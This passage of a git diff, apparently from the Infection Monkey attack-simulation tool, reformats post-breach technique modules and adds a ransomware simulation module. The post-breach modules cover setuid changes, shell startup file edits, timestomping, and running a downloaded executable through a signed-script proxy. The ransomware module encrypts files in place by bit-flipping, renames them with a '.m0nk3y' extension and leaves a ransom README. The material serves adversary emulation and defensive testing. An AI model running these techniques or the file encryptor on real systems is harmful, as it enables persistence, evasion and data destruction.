/TN {SCHEDULED_TASK_NAME} /F > nul 2>&1' + return f"schtasks /Delete /TN {SCHEDULED_TASK_NAME} /F > nul 2>&1" diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 93d10d45e..b047c4a8d 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -11,12 +11,11 @@ from infection_monkey.utils.plugins.plugin import Plugin LOG = logging.getLogger(__name__) -__author__ = 'VakarisZ' - class PBA(Plugin): """ - Post breach action object. Can be extended to support more than command execution on target machine. + Post breach action object. Can be extended to support more than command execution on target + machine. """ @staticmethod @@ -36,14 +35,6 @@ class PBA(Plugin): self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name - def get_pba(self): - """ - This method returns a PBA object based on a worm's configuration. - Return None or False if you don't want the pba to be executed. - :return: A pba object. - """ - return self - @staticmethod def should_run(class_name): """ @@ -60,7 +51,9 @@ class PBA(Plugin): exec_funct = self._execute_default result = exec_funct() if self.scripts_were_used_successfully(result): - T1064Telem(ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action.").send() + T1064Telem( + ScanStatus.USED, f"Scripts were used to execute {self.name} post breach action." + ).send() PostBreachTelem(self, result).send() else: LOG.debug(f"No command available for PBA '{self.name}' on current OS, skipping.") @@ -87,7 +80,9 @@ class PBA(Plugin): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode() + output = subprocess.check_output( # noqa: DUO116 + self.command, stderr=subprocess.STDOUT, shell=True + ).decode() return output, True except subprocess.CalledProcessError as e: # Return error output of the command diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 888984551..3bfc1f362 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,14 +3,9 @@ from multiprocessing.dummy import Pool from typing import Sequence from infection_monkey.post_breach.pba import PBA -from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) -__author__ = 'VakarisZ' - -PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." - class PostBreach(object): """ @@ -18,7 +13,6 @@ class PostBreach(object): """ def __init__(self): - self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list() def execute_all_configured(self): diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py index b1f40b5b7..15809f481 100644 --- a/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py +++ b/monkey/infection_monkey/post_breach/setuid_setgid/linux_setuid_setgid.py @@ -1,11 +1,14 @@ -TEMP_FILE = '$HOME/monkey-temp-file' +TEMP_FILE = "$HOME/monkey-temp-file" -# Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md + +# Commands from https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001 +# /T1548.001.md def get_linux_commands_to_setuid_setgid(): return [ - f'touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s {TEMP_FILE} &&', + f"touch {TEMP_FILE} && chown root {TEMP_FILE} && chmod u+s {TEMP_FILE} && chmod g+s " + f"{TEMP_FILE} &&", 'echo "Successfully changed setuid/setgid bits" &&', - f'rm {TEMP_FILE}' + f"rm {TEMP_FILE}", ] diff --git a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py index 7760ab900..8997e143c 100644 --- a/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py +++ b/monkey/infection_monkey/post_breach/setuid_setgid/setuid_setgid.py @@ -1,4 +1,6 @@ -from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import get_linux_commands_to_setuid_setgid +from infection_monkey.post_breach.setuid_setgid.linux_setuid_setgid import ( + get_linux_commands_to_setuid_setgid, +) def get_commands_to_change_setuid_setgid(): diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py index 60e47d50c..ddd8f514b 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py @@ -5,36 +5,43 @@ from infection_monkey.utils.environment import is_windows_os def get_linux_commands_to_modify_shell_startup_files(): if is_windows_os(): - return '', [], [] + return "", [], [] HOME_DIR = "/home/" # get list of usernames - USERS = subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", - shell=True - ).decode().split('\n')[:-1] + USERS = ( + subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + ) + .decode() + .split("\n")[:-1] + ) # get list of paths of different shell startup files with place for username STARTUP_FILES = [ - file_path.format(HOME_DIR) for file_path in - [ - "{0}{{0}}/.profile", # bash, dash, ksh, sh - "{0}{{0}}/.bashrc", # bash + file_path.format(HOME_DIR) + for file_path in [ + "{0}{{0}}/.profile", # bash, dash, ksh, sh + "{0}{{0}}/.bashrc", # bash "{0}{{0}}/.bash_profile", - "{0}{{0}}/.config/fish/config.fish", # fish - "{0}{{0}}/.zshrc", # zsh + "{0}{{0}}/.config/fish/config.fish", # fish + "{0}{{0}}/.zshrc", # zsh "{0}{{0}}/.zshenv", "{0}{{0}}/.zprofile", - "{0}{{0}}/.kshrc", # ksh - "{0}{{0}}/.tcshrc", # tcsh - "{0}{{0}}/.cshrc", # csh + "{0}{{0}}/.kshrc", # ksh + "{0}{{0}}/.tcshrc", # tcsh + "{0}{{0}}/.cshrc", # csh ] ] - return [ - '3<{0} 3<&- &&', # check for existence of file - 'echo \"# Succesfully modified {0}\" |', - 'tee -a {0} &&', # append to file - 'sed -i \'$d\' {0}', # remove last line of file (undo changes) - ], STARTUP_FILES, USERS + return ( + [ + "3<{0} 3<&- &&", # check for existence of file + 'echo "# Succesfully modified {0}" |', + "tee -a {0} &&", # append to file + "sed -i '$d' {0}", # remove last line of file (undo changes) + ], + STARTUP_FILES, + USERS, + ) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py index 65774c2ad..604d7c198 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/shell_startup_files_modification.py @@ -1,7 +1,9 @@ -from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import \ - get_linux_commands_to_modify_shell_startup_files -from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import \ - get_windows_commands_to_modify_shell_startup_files +from infection_monkey.post_breach.shell_startup_files.linux.shell_startup_files_modification import ( # noqa: E501 + get_linux_commands_to_modify_shell_startup_files, +) +from infection_monkey.post_breach.shell_startup_files.windows.shell_startup_files_modification import ( # noqa: E501 + get_windows_commands_to_modify_shell_startup_files, +) def get_commands_to_modify_shell_startup_files(): diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index a4d32938e..62fd9425e 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -5,23 +5,30 @@ from infection_monkey.utils.environment import is_windows_os def get_windows_commands_to_modify_shell_startup_files(): if not is_windows_os(): - return '', [] + return "", [] # get powershell startup file path - SHELL_STARTUP_FILE = subprocess.check_output('powershell $Profile').decode().split("\r\n")[0] + SHELL_STARTUP_FILE = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0] SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\") # get list of usernames - USERS = subprocess.check_output('dir C:\\Users /b', shell=True).decode().split("\r\n")[:-1] # noqa: DUO116 + USERS = ( + subprocess.check_output("dir C:\\Users /b", shell=True) # noqa: DUO116 + .decode() + .split("\r\n")[:-1] + ) USERS.remove("Public") - STARTUP_FILES_PER_USER = ['\\'.join(SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + - [user] + - SHELL_STARTUP_FILE_PATH_COMPONENTS[3:]) - for user in USERS] + STARTUP_FILES_PER_USER = [ + "\\".join( + SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:] + ) + for user in USERS + ] return [ - 'powershell.exe', - 'infection_monkey/post_breach/shell_startup_files/windows/modify_powershell_startup_file.ps1', - '-startup_file_path {0}' + "powershell.exe", + "infection_monkey/post_breach/shell_startup_files/windows" + "/modify_powershell_startup_file.ps1", + "-startup_file_path {0}", ], STARTUP_FILES_PER_USER diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index 5db88cfc4..12343d8cf 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -1,8 +1,10 @@ import subprocess from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( - get_windows_commands_to_delete_temp_comspec, get_windows_commands_to_proxy_execution_using_signed_script, - get_windows_commands_to_reset_comspec) + get_windows_commands_to_delete_temp_comspec, + get_windows_commands_to_proxy_execution_using_signed_script, + get_windows_commands_to_reset_comspec, +) from infection_monkey.utils.environment import is_windows_os @@ -13,5 +15,7 @@ def get_commands_to_proxy_execution_using_signed_script(): def cleanup_changes(original_comspec): if is_windows_os(): - subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116 + subprocess.run( # noqa: DUO116 + get_windows_commands_to_reset_comspec(original_comspec), shell=True + ) subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py index 6cdf5fe01..0431dd83d 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py @@ -2,27 +2,24 @@ import os from infection_monkey.control import ControlClient -TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe') +TEMP_COMSPEC = os.path.join(os.getcwd(), "T1216_random_executable.exe") def get_windows_commands_to_proxy_execution_using_signed_script(): download = ControlClient.get_T1216_pba_file() - with open(TEMP_COMSPEC, 'wb') as random_exe_obj: + with open(TEMP_COMSPEC, "wb") as random_exe_obj: random_exe_obj.write(download.content) random_exe_obj.flush() - windir_path = os.environ['WINDIR'] - signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf') + windir_path = os.environ["WINDIR"] + signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf") - return [ - f'set comspec={TEMP_COMSPEC} &&', - f'cscript {signed_script}' - ] + return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"] def get_windows_commands_to_reset_comspec(original_comspec): - return f'set comspec={original_comspec}' + return f"set comspec={original_comspec}" def get_windows_commands_to_delete_temp_comspec(): - return f'del {TEMP_COMSPEC} /f' + return f"del {TEMP_COMSPEC} /f" diff --git a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py index ee6c02f58..07841d280 100644 --- a/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/linux/timestomping.py @@ -1,14 +1,15 @@ -TEMP_FILE = 'monkey-timestomping-file.txt' -TIMESTAMP_EPOCH = '197001010000.00' +TEMP_FILE = "monkey-timestomping-file.txt" +TIMESTAMP_EPOCH = "197001010000.00" def get_linux_timestomping_commands(): return [ f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && ' - f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && ' - f'cat {TEMP_FILE} ; ' - f'rm {TEMP_FILE} -f' + f"touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && " + f"cat {TEMP_FILE} ; " + f"rm {TEMP_FILE} -f" ] -# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md +# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006 +# /T1070.006.md diff --git a/monkey/infection_monkey/post_breach/timestomping/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/timestomping.py index 321904c41..5e71d1e50 100644 --- a/monkey/infection_monkey/post_breach/timestomping/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/timestomping.py @@ -1,5 +1,9 @@ -from infection_monkey.post_breach.timestomping.linux.timestomping import get_linux_timestomping_commands -from infection_monkey.post_breach.timestomping.windows.timestomping import get_windows_timestomping_commands +from infection_monkey.post_breach.timestomping.linux.timestomping import ( + get_linux_timestomping_commands, +) +from infection_monkey.post_breach.timestomping.windows.timestomping import ( + get_windows_timestomping_commands, +) def get_timestomping_commands(): diff --git a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py index 9f23193f7..dbea6aaea 100644 --- a/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py +++ b/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py @@ -1,8 +1,9 @@ -TEMP_FILE = 'monkey-timestomping-file.txt' +TEMP_FILE = "monkey-timestomping-file.txt" def get_windows_timestomping_commands(): - return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1' + return "powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1" -# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md +# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006 +# /T1070.006.md diff --git a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py index 8a251e258..75d545140 100644 --- a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py +++ b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py @@ -1,5 +1,6 @@ def get_linux_trap_commands(): return [ - 'trap \'echo \"Successfully used trap command\"\' INT && kill -2 $$ ;', # trap and send SIGINT signal - 'trap - INT' # untrap SIGINT + # trap and send SIGINT signal + "trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;", + "trap - INT", # untrap SIGINT ] diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py index 2bfb21972..245f7574b 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py @@ -1,4 +1,4 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules -hiddenimports = collect_submodules('infection_monkey.exploit') -datas = (collect_data_files('infection_monkey.exploit', include_py_files=True)) +hiddenimports = collect_submodules("infection_monkey.exploit") +datas = collect_data_files("infection_monkey.exploit", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py index e80038ebd..07a29b086 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py @@ -1,4 +1,4 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules -hiddenimports = collect_submodules('infection_monkey.network') -datas = (collect_data_files('infection_monkey.network', include_py_files=True)) +hiddenimports = collect_submodules("infection_monkey.network") +datas = collect_data_files("infection_monkey.network", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py index 55dc7c8c9..9f83c775d 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py @@ -1,6 +1,6 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules # Import all actions as modules -hiddenimports = collect_submodules('infection_monkey.post_breach.actions') +hiddenimports = collect_submodules("infection_monkey.post_breach.actions") # Add action files that we enumerate -datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True)) +datas = collect_data_files("infection_monkey.post_breach.actions", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py new file mode 100644 index 000000000..4cedd58e7 --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.ransomware.py @@ -0,0 +1,3 @@ +from PyInstaller.utils.hooks import collect_data_files + +datas = collect_data_files("infection_monkey.ransomware") diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py index 10fe02a17..22d2740bb 100644 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py @@ -1,6 +1,6 @@ from PyInstaller.utils.hooks import collect_data_files, collect_submodules # Import all actions as modules -hiddenimports = collect_submodules('infection_monkey.system_info.collectors') +hiddenimports = collect_submodules("infection_monkey.system_info.collectors") # Add action files that we enumerate -datas = (collect_data_files('infection_monkey.system_info.collectors', include_py_files=True)) +datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True) diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py index 3e2bed17e..60a097ab0 100644 --- a/monkey/infection_monkey/pyinstaller_utils.py +++ b/monkey/infection_monkey/pyinstaller_utils.py @@ -1,15 +1,14 @@ import os import sys -__author__ = 'itay.mizeretz' - def get_binaries_dir_path(): """ - Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) + Gets the path to the binaries dir (files packaged in pyinstaller if it was used, + infection_monkey dir otherwise) :return: Binaries dir path """ - if getattr(sys, 'frozen', False): + if getattr(sys, "frozen", False): return sys._MEIPASS else: return os.path.dirname(os.path.abspath(__file__)) diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/infection_monkey/ransomware/__init__.py similarity index 100% rename from monkey/infection_monkey/utils/plugins/pluginTests/__init__.py rename to monkey/infection_monkey/ransomware/__init__.py diff --git a/monkey/infection_monkey/ransomware/consts.py b/monkey/infection_monkey/ransomware/consts.py new file mode 100644 index 000000000..4010c01da --- /dev/null +++ b/monkey/infection_monkey/ransomware/consts.py @@ -0,0 +1,5 @@ +from pathlib import Path + +README_SRC = Path(__file__).parent / "ransomware_readme.txt" +README_FILE_NAME = "README.txt" +README_SHA256_HASH = "a5608df1d9dbdbb489838f9aaa33b06b6cd8702799ff843b4b1704519541e674" diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py new file mode 100644 index 000000000..33b73dd06 --- /dev/null +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -0,0 +1,35 @@ +from pathlib import Path +from typing import List, Set + +from common.utils.file_utils import get_file_sha256_hash +from infection_monkey.ransomware.consts import README_FILE_NAME, README_SHA256_HASH +from infection_monkey.utils.dir_utils import ( + file_extension_filter, + filter_files, + get_all_regular_files_in_directory, + is_not_shortcut_filter, + is_not_symlink_filter, +) + + +class ProductionSafeTargetFileSelector: + def __init__(self, targeted_file_extensions: Set[str]): + self._targeted_file_extensions = targeted_file_extensions + + def __call__(self, target_dir: Path) -> List[Path]: + file_filters = [ + file_extension_filter(self._targeted_file_extensions), + is_not_shortcut_filter, + is_not_symlink_filter, + _is_not_ransomware_readme_filter, + ] + + all_files = get_all_regular_files_in_directory(target_dir) + return filter_files(all_files, file_filters) + + +def _is_not_ransomware_readme_filter(filepath: Path) -> bool: + if filepath.name != README_FILE_NAME: + return True + + return get_file_sha256_hash(filepath) != README_SHA256_HASH diff --git a/monkey/infection_monkey/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py new file mode 100644 index 000000000..f4bcaf3aa --- /dev/null +++ b/monkey/infection_monkey/ransomware/in_place_file_encryptor.py @@ -0,0 +1,44 @@ +import re +from pathlib import Path +from typing import Callable + +FILE_EXTENSION_REGEX = re.compile(r"^\.[^\\/]+$") + + +class InPlaceFileEncryptor: + def __init__( + self, + encrypt_bytes: Callable[[bytes], bytes], + new_file_extension: str = "", + chunk_size: int = 64, + ): + self._encrypt_bytes = encrypt_bytes + self._chunk_size = chunk_size + + if new_file_extension and not FILE_EXTENSION_REGEX.match(new_file_extension): + raise ValueError(f'"{new_file_extension}" is not a valid file extension.') + + self._new_file_extension = new_file_extension + + def __call__(self, filepath: Path): + self._encrypt_file(filepath) + + if self._new_file_extension: + self._add_extension(filepath) + + def _encrypt_file(self, filepath: Path): + with open(filepath, "rb+") as f: + data = f.read(self._chunk_size) + while data: + num_bytes_read = len(data) + + encrypted_data = self._encrypt_bytes(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(self._chunk_size) + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/ransomware/ransomware_config.py new file mode 100644 index 000000000..e1b1cb2c4 --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_config.py @@ -0,0 +1,27 @@ +import logging + +from common.utils.file_utils import InvalidPath, expand_path +from infection_monkey.utils.environment import is_windows_os + +LOG = logging.getLogger(__name__) + + +class RansomwareConfig: + def __init__(self, config: dict): + self.encryption_enabled = config["encryption"]["enabled"] + self.readme_enabled = config["other_behaviors"]["readme"] + + self.target_directory = None + self._set_target_directory(config["encryption"]["directories"]) + + def _set_target_directory(self, os_target_directories: dict): + if is_windows_os(): + target_directory = os_target_directories["windows_target_dir"] + else: + target_directory = os_target_directories["linux_target_dir"] + + try: + self.target_directory = expand_path(target_directory) + except InvalidPath as e: + LOG.debug(f"Target ransomware directory set to None: {e}") + self.target_directory = None diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py new file mode 100644 index 000000000..3c8b36770 --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -0,0 +1,60 @@ +import logging +from pathlib import Path +from typing import Callable, List + +from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC +from infection_monkey.ransomware.ransomware_config import RansomwareConfig +from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +LOG = logging.getLogger(__name__) + + +class RansomwarePayload: + def __init__( + self, + config: RansomwareConfig, + encrypt_file: Callable[[Path], None], + select_files: Callable[[Path], List[Path]], + leave_readme: Callable[[Path, Path], None], + telemetry_messenger: ITelemetryMessenger, + ): + self._config = config + + self._encrypt_file = encrypt_file + self._select_files = select_files + self._leave_readme = leave_readme + self._telemetry_messenger = telemetry_messenger + + def run_payload(self): + if not self._config.target_directory: + return + + LOG.info("Running ransomware payload") + + if self._config.encryption_enabled: + file_list = self._find_files() + self._encrypt_files(file_list) + + if self._config.readme_enabled: + self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) + + def _find_files(self) -> List[Path]: + LOG.info(f"Collecting files in {self._config.target_directory}") + return sorted(self._select_files(self._config.target_directory)) + + def _encrypt_files(self, file_list: List[Path]): + LOG.info(f"Encrypting files in {self._config.target_directory}") + + for filepath in file_list: + try: + LOG.debug(f"Encrypting {filepath}") + self._encrypt_file(filepath) + self._send_telemetry(filepath, True, "") + except Exception as ex: + LOG.warning(f"Error encrypting {filepath}: {ex}") + self._send_telemetry(filepath, False, str(ex)) + + def _send_telemetry(self, filepath: Path, success: bool, error: str): + encryption_attempt = FileEncryptionTelem(str(filepath), success, error) + self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py new file mode 100644 index 000000000..8d7e2b129 --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_payload_builder.py @@ -0,0 +1,62 @@ +import logging +from pprint import pformat + +from infection_monkey.ransomware import readme_dropper +from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor +from infection_monkey.ransomware.ransomware_config import RansomwareConfig +from infection_monkey.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS +from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( + BatchingTelemetryMessenger, +) +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) +from infection_monkey.utils.bit_manipulators import flip_bits + +EXTENSION = ".m0nk3y" +CHUNK_SIZE = 4096 * 24 + +LOG = logging.getLogger(__name__) + + +def build_ransomware_payload(config: dict): + LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") + ransomware_config = RansomwareConfig(config) + + file_encryptor = _build_file_encryptor() + file_selector = _build_file_selector() + leave_readme = _build_leave_readme() + telemetry_messenger = _build_telemetry_messenger() + + return RansomwarePayload( + ransomware_config, + file_encryptor, + file_selector, + leave_readme, + telemetry_messenger, + ) + + +def _build_file_encryptor(): + return InPlaceFileEncryptor( + encrypt_bytes=flip_bits, new_file_extension=EXTENSION, chunk_size=CHUNK_SIZE + ) + + +def _build_file_selector(): + targeted_file_extensions = TARGETED_FILE_EXTENSIONS.copy() + targeted_file_extensions.discard(EXTENSION) + + return ProductionSafeTargetFileSelector(targeted_file_extensions) + + +def _build_leave_readme(): + return readme_dropper.leave_readme + + +def _build_telemetry_messenger(): + telemetry_messenger = LegacyTelemetryMessengerAdapter() + + return BatchingTelemetryMessenger(telemetry_messenger) diff --git a/monkey/infection_monkey/ransomware/ransomware_readme.txt b/monkey/infection_monkey/ransomware/ransomware_readme.txt new file mode 100644 index 000000000..e3131c465 --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_readme.txt @@ -0,0 +1,50 @@ + ██████████ ██ █████ ███████████ ███ +░░███░░░░███ ███ ░░███ ░░███░░░░░███ ░░░ + ░███ ░░███ ██████ ████████ ░░░ ███████ ░███ ░███ ██████ ████████ ████ ██████ + ░███ ░███ ███░░███░░███░░███ ░░░███░ ░██████████ ░░░░░███ ░░███░░███ ░░███ ███░░███ + ░███ ░███░███ ░███ ░███ ░███ ░███ ░███░░░░░░ ███████ ░███ ░███ ░███ ░███ ░░░ + ░███ ███ ░███ ░███ ░███ ░███ ░███ ███ ░███ ███░░███ ░███ ░███ ░███ ░███ ███ + ██████████ ░░██████ ████ █████ ░░█████ █████ ░░████████ ████ █████ █████░░██████ +░░░░░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░░ ░░░░░░ + + -yddy- + `` yN::Ny `` + `ymdmo .hNNh. . omdmy` + :Ny:dm. .`-NN- -m .md:yN: + :sdNN: :m:+NN+:ymy -` :NNds: + +Nmo-/ohNNmNNNNNNNdms-+mN+ + ``` dNNNNNNNNNNNNNNNNNNNNNNd ``` + `ymhms `+dNNNNNNNNNNNNNNNNNNNNNNNNd+` smhmy` + :Ny:dNh- +mNNNNNNNNNNNNNNNNNNNNNNNNNNNNm+ -hNd:yN: + -ossydNmhmNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmhmNdysso- + .dNNNNNNNNmhyyhdNNNNNNNNdhyyhmNNNNNNNNh. + ./ooodNNNNNms- ..` `/hNNh/` `.. -omNNNNNdooo/. + /dNNNNNNNNNNd. :hNNNNms. ++ .smNNNmy: .dNNNNNNNNNNd/ + yNNmo:-mNNNNm. +NNmyodNNm. .mNNdoymNN+ .mNNNNm-:omNNy + /NNN- -NNNNNm hNNy .NNN/ /NNN. yNNh mNNNNN- -NNN/ + /NNN. :NNNNNN: :mNNdhmNNh` `hNNmhdNNm: :NNNNNN: .NNN/ + `dNNd/..NNNNNNm/ .ohmmdy/ ```` /ydmmho. /mNNNNNN.`/dNNd` + `omNNNmNNNNNNNNh+-` :h::h: `-+hNNNNNNNNmNNNmo` + `:oyyymNNNNNNNNNmh+` `+hmNNNNNNNNNmyyyo:` + `hNNNNNNNNNs`/yys+/::/+syy/`yNNNNNNNNNh` + ./+++ymNmNNNNNNNNd `-://:-` dNNNNNNNNmNmy+++/. + -mh+dNd/` `sNNNNNNNo oNNNNNNNs` `/dNd+hm: + .ddsmh` -ymNNNNNh- -hNNNNNms- 